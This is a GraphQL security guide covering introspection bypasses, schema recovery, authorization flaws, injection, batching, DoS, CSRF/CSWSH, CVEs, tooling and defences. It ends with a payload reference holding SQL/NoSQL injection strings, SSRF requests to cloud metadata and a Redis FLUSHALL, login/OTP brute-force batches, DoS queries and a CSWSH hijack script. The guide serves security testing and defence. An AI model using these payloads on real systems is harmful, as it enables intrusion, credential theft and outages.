Comprehensive GraphQL Security Guide#
A practitioner’s reference for attacking and defending GraphQL APIs — discovery, introspection, schema recovery, injection, authorization flaws, batching, DoS, subscriptions, CSRF/CSWSH, engine-specific quirks, and detection/prevention. Compiled from 31 research sources.
Table of Contents#
- Fundamentals
- Discovery & Fingerprinting
- Introspection
- Schema Recovery Without Introspection
- Query & Data Extraction
- Mutations & Mass Assignment
- Authorization Flaws (BOLA / BFLA / IDOR)
- Injection Through GraphQL
- Batching Attacks & Aliases
- Denial of Service
- CSRF & CSWSH
- Subscriptions & WebSockets
- Engine-Specific Notes (Apollo, Hasura, graphql-java, async-graphql, Mercurius)
- Notable CVEs & Real-World Chains
- Tooling
- Detection & Prevention
- Payload Quick Reference
1. Fundamentals#
GraphQL is a query language and server runtime for APIs, originally developed at Facebook and open-sourced in 2015. Instead of the multiple fixed endpoints of a REST API, a GraphQL service exposes a single endpoint that accepts typed queries and returns exactly the fields the client asks for.
Core concepts:
| Term | Description |
|---|---|
| Schema | Type-system contract defining object types, fields, arguments, interfaces, unions, enums, scalars |
| Query | Read operation; multiple fields may be fetched in one request |
| Mutation | Write operation; changes server-side state |
| Subscription | Long-lived operation, usually over WebSocket, that pushes data on events |
| Resolver | Backend function that produces the value for a single field |
| Alias | Client-side rename of a field, enabling the same field to be requested multiple times per document |
| Fragment | Reusable chunk of fields attached to a type |
| Directive | Annotation such as @include, @skip, @deprecated |
| Introspection | Meta-query capability (__schema, __type) that returns the full schema as data |
Why GraphQL ends up vulnerable:
- No built-in auth — the spec is silent on authentication and authorization; every resolver is responsible for its own checks.
- Flat endpoint — network-layer rate limits and WAFs see a single URL and cannot reason about expensive operations hidden inside a request body.
- Flexible composition — aliases, fragments, nested selections, and batching let one HTTP request trigger thousands of backend operations.
- Introspection by default — most engines ship with schema self-documentation enabled, giving attackers a full map of attack surface.
- Excessive defaults — verbose errors, did-you-mean suggestions, GraphiQL/Playground IDEs frequently exposed in production.
- Complex type graph — the same object can be reachable through many paths, and a missing check on one path defeats checks on all others.
Impact spectrum: Information disclosure (schema, PII, private posts) → IDOR / broken authorization → authentication bypass → injection into downstream interpreter (SQL/NoSQL/OS) → SSRF via URL-taking arguments → DoS through depth/batch/alias amplification → RCE via chained file/plugin sinks.
2. Discovery & Fingerprinting#
Common endpoints#
Include these paths in directory brute force and JS analysis:
/graphql /api/graphql /v1/graphql
/graphiql /graphql/api /v2/graphql
/graphql.php /graphql/graphql /v1/explorer
/graphql/console /graph /v1/graphiql
/graphiql.php /api /altair
/playground /explorer /query
SecLists ships Discovery/Web-Content/graphql.txt. Escape Technologies maintains a more recent wordlist: Escape-Technologies/graphql-wordlist.
JavaScript hunting#
Developer tools → Sources → “Search all files”:
file:* mutation
file:* query
file:* __schema
file:* gql`
React/Apollo clients often embed operation documents as tagged-template gql literals or as persisted-query hashes in JSON bundles. Old/decommissioned endpoints are frequently discovered this way.
Universal probe#
query { __typename }
If the response is {"data":{"__typename":"Query"}} the URL is a GraphQL endpoint regardless of whether introspection is enabled.
Additional probes that reveal the handler even when content-type filters are strict:
GET /graphql?query={__typename}
POST /graphql application/json {"query":"{__typename}"}
POST /graphql application/graphql {__typename}
POST /graphql application/x-www-form-urlencoded query=%7B__typename%7D
Engine fingerprinting#
graphw00f (dolevf/graphw00f) and the InQL v6.1+ engine fingerprinter classify the backend by sending deliberately malformed queries and matching error strings. Useful classifiers:
| Query | Signals |
|---|---|
query @deprecated { __typename } | graphql-java vs graphql-js vs Ariadne |
query { __schema } with no selection | Ariadne vs Sangria error prose |
queryy { __typename } | Apollo suggestion format |
query { alias1:__typename @skip(if:false) @skip(if:true) } | Directive duplication tolerance |
query { __typename @unknownDirective } | Strictness of directive validation |
Known engines seen in the wild: Apollo Server, graphql-js/express-graphql, graphql-java, Hasura, HotChocolate (.NET), Sangria (Scala), Ariadne (Python), Strawberry (Python), graphql-ruby, gqlgen (Go), async-graphql (Rust), Juniper (Rust), Mercurius (Node/Fastify), Lighthouse (PHP), WPGraphQL.
3. Introspection#
Minimal enumeration#
{ __schema { types { name fields { name } } } }
Extract types with arguments and their underlying type kinds:
{ __schema { types { name fields { name args { name description type { name kind ofType { name kind } } } } } } }
Full introspection query#
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types { ...FullType }
directives { name description locations args { ...InputValue } }
}
}
fragment FullType on __Type {
kind name description
fields(includeDeprecated:true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason }
inputFields { ...InputValue }
interfaces { ...TypeRef }
enumValues(includeDeprecated:true) { name description isDeprecated deprecationReason }
possibleTypes { ...TypeRef }
}
fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue }
fragment TypeRef on __Type {
kind name
ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } }
}
Some servers reject the query because of the onOperation, onFragment, onField directive selections of older specs — remove them if the request errors out.
Inspect a single type#
{ __type(name:"User") { name fields { name type { name kind ofType { name kind } } } } }
Bypassing introspection blockers#
Many “disable introspection” rules are implemented as a regex that greps the request body for __schema or IntrospectionQuery. Attackers routinely bypass these with:
| Trick | Payload |
|---|---|
| Whitespace / newline after keyword | query{__schema\n{queryType{name}}} |
| Comment injection | query{__schema #foo\n{queryType{name}}} |
| GET instead of POST | GET /graphql?query={__schema{types{name}}} |
application/x-www-form-urlencoded | query=%7B__schema%7Bt...%7D%7D |
application/graphql body | raw query, no JSON wrapping |
| WebSocket transport | connect wss://host/graphql with graphql-ws subprotocol, send GQL.START with introspection payload |
| Alternate parser (XML, YAML) | some servers accept application/xml or multipart/form-data operations field |
| Case variation where parser is lax | query{__Schema{...}} |
| Query batching wrapper | place introspection inside a batched array |
When the filter is applied only to anonymous users, authenticate first.
4. Schema Recovery Without Introspection#
Field suggestions#
graphql-js produces “Did you mean X?” messages on typos. Clairvoyance (nikitastupin/clairvoyance) and its fork Clairvoyancex exploit this to brute-force types and fields from a wordlist. The tool sends queries with candidate names, parses suggestion output, and rebuilds a reasonable approximation of the schema.
Error oracles#
Even without the did-you-mean feature, error text leaks useful facts:
Field 'bugs' not found on type 'inql'→ parent type exists, field does notArgument 'contribution' is required→ argument exists and name is confirmedExpected type 'Int!', found "abc".→ field’s real type signature, including list wrappers like[Episode!]Cannot query field X on type Y→ type name confirmed- Errors that leak file paths, framework versions, SQL fragments, stack traces
InQL v6.1+ includes an error-based schema bruteforcer that recurses into every newly discovered type, deliberately sending wrong-primitive values to force type-mismatch messages that reveal full signatures.
Passive capture#
- GraphQuail Burp extension observes traffic and assembles a schema from operations it has seen. It even serves a fake introspection response back to GraphiQL and Voyager.
- Persisted-query stores (
/persisted-operations.json, Apollo Automatic Persisted Queries caches) sometimes leak IDs that can be replayed. - Mobile apps (APK / IPA) often contain the signed hash → operation mapping.
Source/JS review#
Grep the frontend bundle for gql\``, graphql`, operationName, query , mutation `. Preloaded documents frequently reveal entire object graphs.
5. Query & Data Extraction#
Once the schema is known, enumerate the Query root to find entrypoints. The introspection result tells you which fields are directly queryable and which require arguments.
Primitive fields#
{ hiddenFlags }
Object fields#
{ flags { name value } }
By argument#
{ user(uid: 1) { user password } }
If you know the type but not the argument, the full-introspection output of the parent type tells you every argument name and its expected scalar.
Empty-string/regex wildcard trick#
{ theusers(description: "") { username password } }
An empty search string frequently maps to “match everything” and returns the full table.
Edges / nodes (Relay connections)#
{
teams {
totalCount
edges { node { id about handle state } }
}
}
Always check both edges.node.* and direct node(id: "...") — authorization checks are frequently only added to one of the two.
Projection abuse#
Some schemas expose MongoDB/Mongoose-style projection arguments:
{ doctors(options:"{\"patients.ssn\":1}") { firstName lastName patients { ssn } } }
Path enumeration#
graphql-path-enum lists every route that reaches a given type. Useful when direct access to User is blocked but a path like Query → JobListing → Team → AuditLogItem → User still works:
$ graphql-path-enum -i schema.json -t Skill
Query (me) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
Query (pentest) -> Pentest (lead_pentester) -> Pentester (user) -> User ...
6. Mutations & Mass Assignment#
Mutations accept strongly typed input objects. The risk classes are:
| Class | Example |
|---|---|
| Missing authZ on mutation | anyone can call deletePost(id:) |
| Mass assignment | registerAccount(role:"ADMIN") — a privileged field is accepted in the input because developers trusted the input type |
| Type confusion | enum or scalar that the backend parses loosely (e.g. String passed where ID expected) |
| Hidden mutation | introspection or source grep reveals internalUpdateUser not exposed in the UI |
| Replay / idempotency | mutation without nonce that can be replayed for free credits, duplicate votes, etc. |
| Return-field leak | mutation’s response type leaks a field (e.g. user { token }, user { passwordHash }) the UI never renders |
Classic mass-assignment PoC:
mutation {
registerAccount(nickname:"x", email:"x@x", password:"P", role:"ADMIN") {
token { accessToken }
user { email role }
}
}
Always diff __type(name:"RegisterInput") against the happy-path form submitted by the web UI — extra fields are the bug.
7. Authorization Flaws (BOLA / BFLA / IDOR)#
GraphQL has no built-in access control. Every resolver must re-check ownership and role.
Patterns#
- Primary-key trust —
post(id: 42)returns whatever matches, regardless of requester. - Nested object walk —
{ me { team { members { email } } } }— themefield enforces auth, butteam.membersdoesn’t. - Edge vs node drift — HackerOne report H1:489146:
edgesenforced authZ, directnode(id:)did not. - Field-level overexposure —
user { id name }is fine, but the resolver returnspasswordHash,emailVerificationToken,totpSecreton the same type. - Union / Interface leakage — an interface
Contentis implemented byPublicPostandPrivatePost; the resolver forgets that a fragment selection on...on PrivatePostneeds a stricter check. - Mutation without query-side auth — reading a record is forbidden but
updateRecord(id:, patch:{})returns the updated object, effectively a read primitive.
Authentication bypass via GraphQL#
HackerOne disclosed a case where the sign-in mutation returned a valid session token whenever the provided password field was null or a list — a type-coercion bug in the underlying ORM, exposed because GraphQL parsed the request successfully and passed the unexpected type through to the auth function.
Testing recipe#
- Dump every
QueryandMutationfield. - For each field that takes an ID, try: (a) your own ID, (b) another user’s ID, (c) an admin-scoped ID, (d) an ID outside your tenant.
- Enumerate every path to sensitive types with
graphql-path-enum. Test each path independently. - Diff authenticated vs unauthenticated responses.
- Check both query and mutation routes to the same resource.
- For interfaces and unions, request every
...on ConcreteTypefragment. - Look for
node/nodesgeneric resolvers (Relay) — they historically bypass per-type checks.
8. Injection Through GraphQL#
GraphQL is a translation layer; what the resolver does with your input is where the bug lives.
SQL injection#
Unquoted identifier / ORDER BY / LIMIT insertion is common because developers think “it’s GraphQL, it’s safe”:
{ bacon(id: "1'") { id type price } }
POST /graphql?embedded_submission_form_uuid=1';SELECT pg_sleep(30);--
Look for fields that accept orderBy, sort, filter as a free-form string rather than a typed enum.
NoSQL injection#
MongoDB operators passed through as JSON:
{
doctors(
options: "{\"limit\":1,\"patients.ssn\":1}",
search: "{\"patients.ssn\":{\"$regex\":\".*\"},\"lastName\":\"Admin\"}"
) { firstName lastName patients { ssn } }
}
Command injection#
Any resolver that shells out (exec, system, ImageMagick convert, git, LDAP bind) with a user-supplied argument.
SSRF#
Resolvers that fetch URLs (image proxies, webhook registrations, avatar imports, preview generators) are injection points for SSRF. Abuse them the same way as REST SSRF: internal metadata endpoints (169.254.169.254), localhost admin panels, file:// where libcurl is used, gopher:// smuggling. The WPGraphQL CVE-2023-23684 chain used an SSRF-to-RCE primitive through the WordPress plugin bus.
XXE / SSTI#
Any mutation that accepts XML, SVG, Markdown, or templated fields and passes the value unchanged to a templating/parsing engine.
Directive injection#
Some engines allow user-supplied directive arguments to influence parsing or execution — directive overloading is also a DoS primitive (section 10).
9. Batching Attacks & Aliases#
GraphQL lets a single HTTP request carry many logical operations. From the perspective of a network rate limiter that counts HTTP requests, 10,000 login attempts look like one request.
Three batching styles#
1. JSON array batching (supported by Apollo, graphql-js, many others):
[
{"query":"mutation{login(u:\"bob\",p:\"0001\"){token}}"},
{"query":"mutation{login(u:\"bob\",p:\"0002\"){token}}"},
{"query":"mutation{login(u:\"bob\",p:\"0003\"){token}}"}
]
2. Aliased batching (any spec-compliant server):
mutation {
a: login(username:"bob", pass:"0001") { token }
b: login(username:"bob", pass:"0002") { token }
c: login(username:"bob", pass:"0003") { token }
}
3. Query-name batching:
query { a:Query{field1} b:Query{field1} c:Query{field1} }
Use cases#
| Scenario | Effect |
|---|---|
| Password brute force | N logins per request, bypasses per-IP rate limits |
| 2FA / OTP brute force | Exhaust the 10k 4-digit pin space in one request |
| Coupon / promo code enumeration | Stealthy generation of valid codes |
| Object enumeration | Pull 10k user profiles in one call |
| IDOR amplification | Many user(id:1), user(id:2) in one query |
Mitigations#
Server-side rate limits must be counted per-operation, not per-HTTP-request. Options:
- Limit the number of aliases per field (e.g.,
loginmay appear at most 1x per document). - Limit operations per batch array (and reject batches > 1 for sensitive mutations).
- Per-user operation counters with token-bucket enforcement.
- Apollo Server v4 supports
allowBatchedHttpRequests:falseand customApolloServerPluginUsageReportinghooks.
10. Denial of Service#
Depth attacks#
A cyclic schema lets a short query expand into massive server work:
query evil {
album(id:42) {
songs { album { songs { album { songs { ... } } } } }
}
}
Modern engines support MaxQueryDepthInstrumentation (graphql-java) or graphql-depth-limit (JS).
Amount attacks#
{ author(id:"x") { posts(first: 999999999) { title comments(first: 999999999) { body } } } }
Always validate and cap list arguments. Prefer cursor-based pagination.
Alias amplification#
The same field 10,000 times with different aliases:
{ a1:expensive{x} a2:expensive{x} ... a10000:expensive{x} }
Field duplication (no alias needed)#
graphql-js historically deduplicates identical selections, but many engines execute duplicates:
{ users { id id id id id ... } }
Directive overloading#
CVE-2024-47614 (async-graphql / Rust): repeat a directive millions of times on a single field to exhaust parser/validator.
query { __typename @a @a @a @a @a @a ... }
Landh.tech documented a $50k Google bug using the same primitive.
Introspection DoS#
A deeply nested ofType { ofType { ... } } introspection query can itself be weaponized against a server that supports introspection but has no cost limit.
Regex injection#
filter arguments passed to backend regex engines enable ReDoS via catastrophic backtracking strings.
Long-running resolvers#
Expensive fields (image transform, PDF render, export job) without per-user quotas. Combined with batching, one request can tie up worker pools.
Query cost analysis#
The strongest defense. Assign a static cost to each field and a multiplier for list arguments. Reject queries whose total cost > budget before execution.
Tools: graphql-cost-analysis, graphql-validation-complexity (JS), MaxQueryComplexityInstrumentation (Java), Apollo’s @cost directive.
11. CSRF & CSWSH#
HTTP CSRF#
A GraphQL endpoint is CSRF-able when:
- It accepts cookie-based session auth.
- It accepts GET requests with
?query=or acceptsapplication/x-www-form-urlencodedbodies. - It does not require a custom header (
X-Requested-With,Apollo-Require-Preflight,X-CSRF-Token).
Simple probe:
GET /graphql?query=query+%7B+a+%7D
POST /graphql
Content-Type: application/x-www-form-urlencoded
query=query+%7B+a+%7D
If either returns a GraphQL error (e.g. “Cannot query field a”), the server parsed the request — the CSRF path is live. Pick a state-changing mutation (password change, email update, token rotation) to demonstrate impact.
Apollo Server’s CSRF prevention (default in v4) refuses requests that don’t include at least one of Apollo-Require-Preflight, X-Apollo-Operation-Name, or a non-standard content type — effectively forcing the browser to do a preflight. Enable it.
CSWSH (Cross-Site WebSocket Hijacking)#
Subscriptions over graphql-ws / subscriptions-transport-ws inherit the session cookie and have no Origin check by default. An attacker page can open a WebSocket to wss://victim/graphql and receive the victim’s subscription stream in the attacker’s context.
Mitigation: validate the Origin header on the WebSocket upgrade, require a separate auth token in the connectionParams payload, and do not trust cookies for subscriptions.
12. Subscriptions & WebSockets#
Subscriptions are long-lived, commonly carried over:
- graphql-ws (modern protocol, subprotocol
graphql-transport-ws) - subscriptions-transport-ws (legacy protocol, subprotocol
graphql-ws) — deprecated but very common
Attack surface#
| Issue | Notes |
|---|---|
| Missing auth at upgrade | many servers authenticate HTTP but not the WS handshake, so anon users get the channel |
| Missing authZ on events | events pushed to any subscriber of a topic, regardless of their ownership (e.g., Directus CVE-2023-38503) |
| Introspection over WS | WAFs rarely inspect frames; WS can be used to bypass WAF-level introspection filters |
Replayable connectionParams | token in initial payload never re-validated on reconnect |
| TLS validation bugs in clients | Altair GraphQL desktop CVE-2024-54147 — WSS certificate not verified, MITM read & modify |
| DoS via malformed frames | Mercurius CVE-2023-22477 — malformed GraphQL subscription frame crashed the server |
| DoS via legitimate flood | GitLab CVE-2023-0921 — repeatedly sending an extremely expensive query over one WS connection spiked CPU without triggering HTTP-layer rate limits |
Basic exploit probe#
ws = new WebSocket("wss://target/graphql","graphql-ws")
ws.onopen = () => ws.send(JSON.stringify({
type:"GQL.START", id:"1",
payload:{ query:"{ __schema { types { name } } }" }
}))
ws.onmessage = e => console.log(e.data)
Newer graphql-transport-ws uses message types connection_init, subscribe, next, complete instead.
Defensive checklist#
- Authenticate the WS upgrade (cookie or bearer in
connectionParams). - Enforce per-event authorization in the
subscriberesolver, not only when the channel is opened. - Validate
Originagainst an allowlist. - Apply depth, cost, and rate limits to the query inside
payloadbefore subscribing. - Set a hard message-size and message-rate cap per connection.
- Disable introspection over WS if it’s disabled over HTTP.
13. Engine-Specific Notes#
Apollo (Node, Apollo Server v3/v4)#
- Introspection: on by default unless
NODE_ENV=production; v4 adds explicitintrospection:false. - Error masking:
includeStacktraceInErrorResponses:false(v4) ordebug:false(v3). - CSRF prevention:
csrfPrevention:true(default v4). - Batching: controlled by
allowBatchedHttpRequests. - Persisted queries: can be configured to allow only a known allowlist (effectively disabling ad-hoc queries in production).
- Federation: subgraphs often forget authZ and trust the gateway — test subgraphs directly.
graphql-js / express-graphql#
- Suggestion strings are on by default. Disable with a custom validation rule or
Shapeshifter. graphiql:truedefault in dev is a common prod leak.- Use
NoIntrospectionvalidation rule.
Hasura#
- Admin endpoint gated only by
X-Hasura-Admin-Secretheader — if it leaks (env var in frontend bundle, misconfigured proxy), full schema and data are exposed. - Row-level permissions defined per role; an empty permission = no access, a
{}permission = unrestricted. - Remote schemas and actions can proxy to backends and are an SSRF primitive if misconfigured.
/v1/graphqlfor user ops,/v1/metadata,/v1/query(v1 only) for admin ops.
graphql-java#
MaxQueryDepthInstrumentation,MaxQueryComplexityInstrumentation— wire them up.NoIntrospectionGraphqlFieldVisibility.NO_INTROSPECTION_FIELD_VISIBILITYdisables introspection.- CVE-2024-40094 — depth/complexity instrumentation could be bypassed through Execution Node Factory (ENF) when certain selection shapes were used.
HotChocolate (.NET)#
- Uses
AddAuthorization()+[Authorize]attributes per field; omissions are common. - Supports Relay connections natively; check node/edge path drift.
async-graphql (Rust)#
- CVE-2024-47614 — directive overload DoS.
- Enable
limit_directives,limit_depth,limit_complexityguards.
Mercurius (Node/Fastify)#
- CVE-2023-22477 — malformed subscription frame crash.
- Has built-in query-depth and persisted-queries plugins.
WPGraphQL (WordPress)#
- CVE-2023-23684 — SSRF primitive that chained through WP plugin behavior to RCE.
- Historically exposes many fields through
node/nodeByUriresolvers without tenant separation. - Auth is whatever WP says; nonce handling is a frequent source of CSRF on mutations.
Lighthouse (Laravel)#
- Directive-based schema (
@auth,@can); missing a directive on one field is an easy authZ miss.
14. Notable CVEs & Real-World Chains#
| CVE / Case | Product | Class | Notes |
|---|---|---|---|
| CVE-2023-23684 | WPGraphQL | SSRF → RCE | image import resolver fetched attacker URL, chained through WP plugin |
| CVE-2024-40094 | graphql-java | Depth/complexity bypass | ENF selection shape defeated instrumentation |
| CVE-2024-47614 | async-graphql (Rust) | DoS | directive overload on a single field |
| CVE-2024-50311 | Red Hat OpenShift | DoS via alias batching | reported by Kubiak, Zakrzewski, Zdunek |
| CVE-2023-38503 | Directus | Subscription authZ | events pushed to unauthorized subscribers |
| CVE-2024-54147 | Altair GraphQL desktop | WSS TLS validation | MITM read/modify subscription traffic |
| CVE-2023-22477 | Mercurius | DoS | malformed subscription frame crash |
| CVE-2023-0921 | GitLab | DoS | expensive query over WS, CPU spike |
| Landh.tech Google | Google internal | Directive overload DoS | $50,000 reward |
| HackerOne H1:489146 | (private) | Authz drift between edges and nodes | node path bypassed edge-level checks |
| HackerOne H1:435066 | (private) | IDOR via GraphQL | internal GraphQL API returning other-user data |
| HackerOne Auth-bypass report | (private) | Type confusion | login mutation accepted null / list password |
| GitLab 12.0.3 | GitLab | Authorization issues in GraphQL | multiple resolvers missing checks |
| New Relic | New Relic | IDOR via internal API | Jon Bottarini, reaches admin data |
| PWning WordPress GraphQL | WP plugin | Info disclosure | pentestpartners write-up |
Typical chain shapes#
- Discovery → Introspection → Mass-assignment mutation → Self-promotion to admin → Full read.
- CSRF probe → sensitive mutation via
application/x-www-form-urlencoded→ victim account takeover. - Introspection off → Clairvoyance → hidden
internalUpdateUsermutation → privilege escalation. - Batch mutation login → password/OTP brute force → account takeover.
- SSRF in image-URL mutation → cloud metadata → IAM credentials → full cloud takeover.
- Depth/alias DoS proof → directive overload amplification → service outage.
- WS subscription with no Origin check → CSWSH → steal live admin stream.
15. Tooling#
Recon & fingerprinting#
| Tool | Purpose |
|---|---|
| graphw00f | Engine fingerprinting via error signatures |
| InQL (Burp) | Discovery, introspection import, error-based bruteforce, engine fingerprinter, schema-aware scanner, CSRF PoC generator |
| GQLParser (Burp) | Lightweight extension that parses GraphQL bodies in the Burp UI |
| GraphQuail (Burp) | Passive schema builder from observed traffic |
| Altair | GraphQL IDE (Chrome/desktop) |
| GraphQL IDE (andev-software) | Heavy IDE for schema exploration |
| GraphQL Voyager | Visual graph of types and relationships — paste introspection JSON |
| GraphiQL | Reference web IDE, often left in prod |
| Insomnia | GraphQL-aware HTTP client |
Schema recovery / fuzzing#
| Tool | Purpose |
|---|---|
| Clairvoyance / Clairvoyancex | Rebuild schema from suggestion errors; fork has HTTP proxy support |
| GQLSpection (Doyensec) | Parse introspection and generate ready-to-send queries/mutations |
| graphql-path-enum | Enumerate all paths to a type |
| graphql-wordlist (Escape) | Community wordlist for fuzzing field/type names |
Attack tools#
| Tool | Purpose |
|---|---|
| GraphQLmap (swisskyrepo) | Scripting engine for pen-testing |
| BatchQL (Assetnote) | Detect introspection, suggestions, CSRF, JSON-array & query-name batching; batch brute-force |
| CrackQL | Password/field brute force via batching |
| graphql-cop (dolevf) | Security auditor — introspection, batching, DoS, info disclosure checks |
| graphql-threat-matrix | Research matrix comparing engines across security features |
| GraphCrawler | Automated testing toolkit |
Defensive / SAST#
| Tool | Purpose |
|---|---|
| graphql-depth-limit (JS) | Depth cap validation rule |
| graphql-cost-analysis / graphql-validation-complexity | Cost caps |
| MaxQueryDepthInstrumentation / MaxQueryComplexityInstrumentation (graphql-java) | Built-in depth and complexity limiters |
| Shapeshifter | Disables did-you-mean suggestions |
| NoIntrospection validation rule | Blocks __schema/__type selections |
| StackHawk | DAST with GraphQL awareness |
| Vespasian | Runtime analysis claiming to see what SAST cannot — GraphQL among other frameworks |
16. Detection & Prevention#
Design-time#
- Treat every resolver as an authorization boundary. Write a helper like
assertCanRead(ctx, obj)and call it unconditionally in every resolver that returns sensitive data. - Prefer input objects with explicit allowlists over free-form JSON string arguments.
- Use scalars and enums aggressively. Custom scalars (
EmailAddress,URL,UUID) give you a single place to validate. - Keep the schema minimal — don’t expose fields you don’t intend clients to use.
- Separate internal and external schemas. Do not let an admin-only type bleed into the public one via a shared interface.
- Pin GraphQL engine versions; subscribe to CVE feeds for your engine.
Build-time#
- Lint the schema.
graphql-schema-lintercatches naming and type issues; custom rules can require an@authdirective on every mutation. - Snapshot the schema and fail CI on changes unless explicitly acknowledged (catches accidental exposure).
- Run SAST that understands GraphQL resolver → sink flow.
Runtime#
| Control | Notes |
|---|---|
| Introspection off in prod | NO_INTROSPECTION_FIELD_VISIBILITY (Java), NoIntrospection rule (JS), introspection:false (Apollo v4) |
| Suggestions off | Shapeshifter or custom didYouMean override |
| Errors masked | debug:false, includeStacktraceInErrorResponses:false, custom error formatter |
| Depth limit | e.g. max depth 10 |
| Amount limit | per-list first/last argument max |
| Cost budget | query cost analysis with a per-user cost quota |
| Rate limit | per-IP and per-user, counted per-operation not per-HTTP |
| Batch cap | max N operations per batch; disable for sensitive mutations |
| Alias cap | max N aliases per field, or disable aliases for sensitive mutations |
| Timeouts | application-level resolver timeout + infra-level request timeout |
| CSRF prevention | require custom header, reject application/x-www-form-urlencoded, validate Origin |
| CORS | do not Access-Control-Allow-Origin:* with credentials |
| GraphiQL / Playground off | in prod |
| Persisted queries only | accept only documents whose hash is in the allowlist |
| Per-event subscription authZ | re-check ownership on every push, not only at subscribe time |
| WS Origin allowlist | validate at upgrade |
Detection signals (log / SIEM)#
- HTTP requests with body size > 20 KB targeting
/graphql. - POSTs to
/graphqlthat return many errors (schema probing). __schemaorIntrospectionQueryin request body from non-dev IPs.Did you meanin response body (suggests fuzzing is working).- Batch arrays of length > 5.
- Alias count > 20 on a login or OTP mutation.
- Subscription
connectionParamsmissing auth. - Repeated
Cannot query fielderrors from a single actor. - Repeated
Argument ... is requiredandExpected typeerrors — Clairvoyance in action. - Unusually nested
ofType{ofType{...}}introspection.
Test checklist#
- Identify the endpoint; confirm
__typenameprobe. - Fingerprint the engine (graphw00f or InQL).
- Attempt introspection; if blocked, try bypass encodings.
- Recover schema via Clairvoyance / error oracles if needed.
- Enumerate every query and mutation root field.
- For each ID argument, test IDOR / BOLA.
- For each mutation, diff input shape against any leaked client form — look for mass-assignment candidates.
- Test every injection class on string arguments.
- Probe batching (JSON-array + aliases + query-name) against auth, OTP, coupon flows.
- Probe depth, amount, alias, directive DoS against a non-prod target.
- Probe CSRF (GET + urlencoded).
- If subscriptions exist, probe CSWSH and per-event authZ.
- Verify error verbosity.
- Verify rate-limit counts per operation.
17. Payload Quick Reference#
Existence probes#
{ __typename }
query { __typename }
query{__schema{queryType{name}}}
One-shot introspection (inline)#
{__schema{queryType{name}mutationType{name}subscriptionType{name}types{kind name fields{name args{name type{name kind ofType{name kind}}}}}}}
Introspection-off bypasses#
query{__schema
{queryType{name}}}
GET /graphql?query={__schema{types{name}}}
POST /graphql Content-Type: application/x-www-form-urlencoded
query=%7B__schema%7Btypes%7Bname%7D%7D%7D
wss://target/graphql (subprotocol: graphql-ws)
{"type":"GQL.START","id":"1","payload":{"query":"{__schema{types{name}}}"}}
Single type inspection#
{ __type(name:"User"){ name fields{ name type{ name kind ofType{ name kind } } } } }
Empty-string dump#
{ users(search:"") { id email role } }
Alias batching brute force#
mutation {
a1:login(u:"bob",p:"0000"){token}
a2:login(u:"bob",p:"0001"){token}
a3:login(u:"bob",p:"0002"){token}
# ... up to thousands
}
JSON-array batching#
[
{"query":"mutation{login(u:\"bob\",p:\"0000\"){token}}"},
{"query":"mutation{login(u:\"bob\",p:\"0001\"){token}}"}
]
Depth DoS#
query {
album(id:1){songs{album{songs{album{songs{album{songs{name}}}}}}}}
}
Amount DoS#
{ users(first:99999999){ posts(first:99999999){ comments(first:99999999){ body } } } }
Directive overload DoS#
query { __typename @skip(if:true) @skip(if:true) @skip(if:true) @skip(if:true) }
(Repeat the directive hundreds/thousands of times.)
CSRF probes#
GET /graphql?query=query+%7B+a+%7D
POST /graphql
Content-Type: application/x-www-form-urlencoded
query=mutation+%7B+deleteAccount+%7D
SQL injection smoke test#
{ bacon(id:"1'") { id } }
{ bacon(id:"1) OR 1=1--") { id } }
{ bacon(id:"1';SELECT pg_sleep(10);--") { id } }
NoSQL injection#
{ users(filter:"{\"$where\":\"sleep(5000)\"}") { id } }
{ users(search:"{\"email\":{\"$regex\":\".*\"}}") { id email } }
SSRF in URL-taking field#
mutation { importAvatar(url:"http://169.254.169.254/latest/meta-data/") { ok } }
mutation { registerWebhook(url:"http://127.0.0.1:8500/v1/kv/?recurse") { id } }
mutation { createPreview(url:"gopher://127.0.0.1:6379/_FLUSHALL") { id } }
Mass-assignment smoke#
mutation { registerAccount(email:"x@x",password:"x",role:"ADMIN",isStaff:true,tenantId:1){ user{ role } } }
Subscription probe (CSWSH)#
const ws = new WebSocket("wss://victim/graphql","graphql-transport-ws");
ws.onopen = () => ws.send(JSON.stringify({type:"connection_init",payload:{}}));
ws.onmessage = e => {
const m = JSON.parse(e.data);
if (m.type === "connection_ack") {
ws.send(JSON.stringify({
id:"1", type:"subscribe",
payload:{ query:"subscription{ adminActivity{ id actor action } }" }
}));
} else { console.log(m); }
};
Useful error-based discovery triggers#
{ thisdefinitelydoesnotexist } # suggestion leak
{ user(id:"abc") } # type mismatch — reveals Int vs ID
{ user } # "Argument required" — reveals arg name
query @deprecated { __typename } # engine fingerprint
{ __schema{__typename} } # blocked-word bypass via newline/comment
Sources: compiled from 31 clipped research notes covering HackTricks, OWASP, Assetnote (BatchQL), Doyensec (InQL, Security Overview), YesWeHack, PortSwigger labs, PayloadsAllTheThings, Escape Technologies, Wallarm, Apollo docs, graphql-java docs, graphql-cop, graphw00f, Clairvoyance, Vespasian, StackHawk, HackerOne disclosed reports (H1:489146 and others), Red Hat OpenShift / CVE-2024-50311, Directus CVE-2023-38503, Mercurius CVE-2023-22477, GitLab CVE-2023-0921, Altair CVE-2024-54147, graphql-java CVE-2024-40094, async-graphql CVE-2024-47614, WPGraphQL CVE-2023-23684, and bug-bounty writeups.